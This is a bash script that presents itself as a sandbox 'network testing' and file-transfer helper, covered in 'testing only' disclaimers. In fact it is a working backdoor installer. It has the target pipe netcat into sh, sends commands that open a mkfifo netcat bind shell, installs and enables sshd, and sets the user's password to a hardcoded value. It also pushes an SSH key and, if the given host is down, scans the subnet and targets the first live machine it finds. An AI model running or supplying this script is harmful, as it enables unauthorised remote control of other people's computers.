bash_local_test_network.sh

#!/bin/bash
# bash_local_test_network.sh
#
# Purpose:
# Testing utility for local network file transfers in sandbox environments.
# STRICTLY FOR TESTING AND LEARNING - NOT FOR ACTUAL USE.
#
# Features:
# - Network validation 
# - Automated setup
# - Port checking
# - Basic logging
#
# Environment:
# - Sandbox/VM testing only
# - Local development
# - Learning environments
# - Practice setups
#
# NOT for:
# - Real networks
# - Production use
# - Actual deployments
# - Any non-testing scenario
#
# Requirements:
# - Testing/sandbox environment only
# - Root access in test environment
# - Ubuntu/Debian-based test systems
#
# TESTING NOTICE:
# - For sandbox environments only
# - Not for actual network use
# - Testing and learning purposes only
# - Use exclusively in isolated test setups
# 
# Usage:
# 1. On receiver: sudo nc -lv 32 | sh
# 2. On sender: Run this script
# 3. Use 'ip a' to identify the receiver's IP address first
echo "⚠️  For testing purposes only. Use exclusively in a sandbox or test network." 
read -p "❓ Proceed? (y/n): " proceed
if [[ "$proceed" != "y" ]]; then
    echo "❌ Operation canceled. Exiting."
    exit 1
fi

# Settings - MODIFY THESE VALUES
DEFAULT_ACCESS="ChangeThis_AfterSetup!"  # Update this!
RECEIVER_IP="192.168.1.100"  # Replace with actual IP
PRIMARY_PORT=32              # Must match receiver's nc port
SECONDARY_PORT=33           # For additional connection
CONNECT_PORT=22             # Standard port
TIMEOUT_SECONDS=5          # Connection timeout
LOG_FILE="network_connect.log"  # Log file for troubleshooting

# Check for local network
is_local_ip() {
    local ip=$1
    if [[ $ip =~ ^(192\.168\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|10\.) ]]; then
        return 0
    else
        echo "❌ ERROR: IP $ip is not in local network range!"
        echo "This script is for local network use only!"
        exit 1
    fi
}

# Validate IP address format
validate_ip() {
    local ip=$1
    if [[ ! $ip =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
        echo "❌ Invalid IP address format!"
        exit 1
    fi
}

# Progress indicator
show_progress() {
    local pid=$1
    local spinstr='⠋⠙⠹⠸⠼⠴⠦⠧⠇⠏'
    while kill -0 "$pid" 2>/dev/null; do
        local temp=${spinstr#?}
        printf " [%c]  " "$spinstr"
        local spinstr=$temp${spinstr%"$temp"}
        sleep 0.1
        printf "\b\b\b\b\b\b"
    done
    printf "    \b\b\b\b"
}

# Check for sshpass installation
if ! command -v sshpass >/dev/null; then
    echo "❌ sshpass not found. Installing..."
    sudo apt-get update && sudo apt-get install -y sshpass
fi

# Format check
validate_format() {
    local input=$1
    if [[ ${#input} -lt 8 || ! $input =~ [A-Z] || ! $input =~ [a-z] || ! $input =~ [0-9] ]]; then
        echo "❌ Input must be at least 8 characters with uppercase, lowercase, and numbers."
        exit 1
    fi
}

# Port setup
setup_ports() {
    echo "🔧 Setting up ports..."
    sudo ufw allow "$PRIMARY_PORT"
    sudo ufw allow "$SECONDARY_PORT"
    sudo ufw allow "$CONNECT_PORT"
    sudo ufw reload
}

# Generate connection keys
setup_connection() {
    echo "🔑 Setting up connection..."
    ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa -N "" -q
    sshpass -p "$DEFAULT_ACCESS" ssh-copy-id -i ~/.ssh/id_rsa.pub "$RECEIVER_IP"
    echo "✅ Connection setup complete."
}

# Logging
trap "echo 'Cleaning up...'; rm -f /tmp/f; pkill -f 'nc -l'; exit 1" INT TERM

log() {
    local message=$1
    echo "$(date '+%Y-%m-%d %H:%M:%S') - $message" >> "$LOG_FILE"
}

# Test connection
if ! ping -c 1 -W $TIMEOUT_SECONDS "$RECEIVER_IP" >/dev/null 2>&1; then
    echo "❌ Receiver IP $RECEIVER_IP not responding. Checking network..."
    subnet=$(echo "$RECEIVER_IP" | awk -F. '{print $1"."$2"."$3}')
    active_ips=()
    for ip in {1..254}; do
        echo -ne "\r🔍 Checking: ${subnet}.${ip}  "
        if ping -c 1 -W 1 "${subnet}.${ip}" >/dev/null 2>&1; then
            active_ips+=("${subnet}.${ip}")
        fi
    done
    echo -e "\r🎯 Found IPs: ${active_ips[*]}"
    RECEIVER_IP=${active_ips[0]}
    echo "🌐 Using ${RECEIVER_IP}"
fi

# Check ports
echo "🚪 Checking ports on $RECEIVER_IP..."
for port in $PRIMARY_PORT $SECONDARY_PORT $CONNECT_PORT; do
    echo -ne "\r🔍 Testing port: $port   "
    if nc -z -w1 "$RECEIVER_IP" "$port" 2>/dev/null; then
        echo -e "\r✅ Port $port is available on $RECEIVER_IP."
    else
        echo -e "\r⚠️  Port $port is not available on $RECEIVER_IP."
    fi
done

# Initial notice
echo "⚠️ TESTING NOTICE:"
echo "This script creates test connections."
echo "Use in sandbox environments only!"
echo "Press Ctrl+C now if unsure."
sleep 3

# Validate settings
validate_ip "$RECEIVER_IP"
is_local_ip "$RECEIVER_IP"

# Check availability
echo "🔍 Checking connection to $RECEIVER_IP..."
if ! ping -c 1 -W $TIMEOUT_SECONDS "$RECEIVER_IP" >/dev/null 2>&1; then
    echo "❌ No response! Check connection."
    exit 1
fi

# Setup connection
echo "🔌 Setting up test connection to $RECEIVER_IP:$PRIMARY_PORT..."
nc -v "$RECEIVER_IP" "$PRIMARY_PORT" <<EOF
cd ~/ || mkdir -p ~/test_transfer
echo "🔧 Setting up test environment..."
rm -rf /tmp/f
mkfifo /tmp/f
cat /tmp/f | sh -i 2>&1 | nc -l "$SECONDARY_PORT" > /tmp/f &

# Setup connection service
if ! command -v sshd >/dev/null; then
    sudo apt-get update && sudo apt-get install -y openssh-server
    sudo systemctl start ssh
    sudo systemctl enable ssh
fi

# Set access key
echo -e "${DEFAULT_ACCESS}\n${DEFAULT_ACCESS}" | sudo passwd "\$(whoami)"
echo "✅ Setup complete. UPDATE ACCESS KEY!"
exit
EOF

# Test connection
echo "🔄 Testing setup..."
sleep 2
if sshpass -p "$DEFAULT_ACCESS" ssh -o StrictHostKeyChecking=no -o ConnectTimeout="$TIMEOUT_SECONDS" \
    "$RECEIVER_IP" 'echo "TEST_OK"' 2>/dev/null | grep -q "TEST_OK"; then
    echo "✅ Connection working!"
    echo "➡️  Use: sshpass -p '$DEFAULT_ACCESS' ssh $(whoami)@$RECEIVER_IP"
    echo "⚠️  Update access key after connecting!"
else
    echo "❌ Setup incomplete. Check status."
fi

# Final reminders
echo "🔧 SETUP REMINDERS:"
echo "1. Update the default access key"
echo "2. Stop service when done: sudo systemctl stop ssh"
echo "3. Check status with: netstat -tuln"
echo "4. Transfer files with: scp or rsync"

exit 0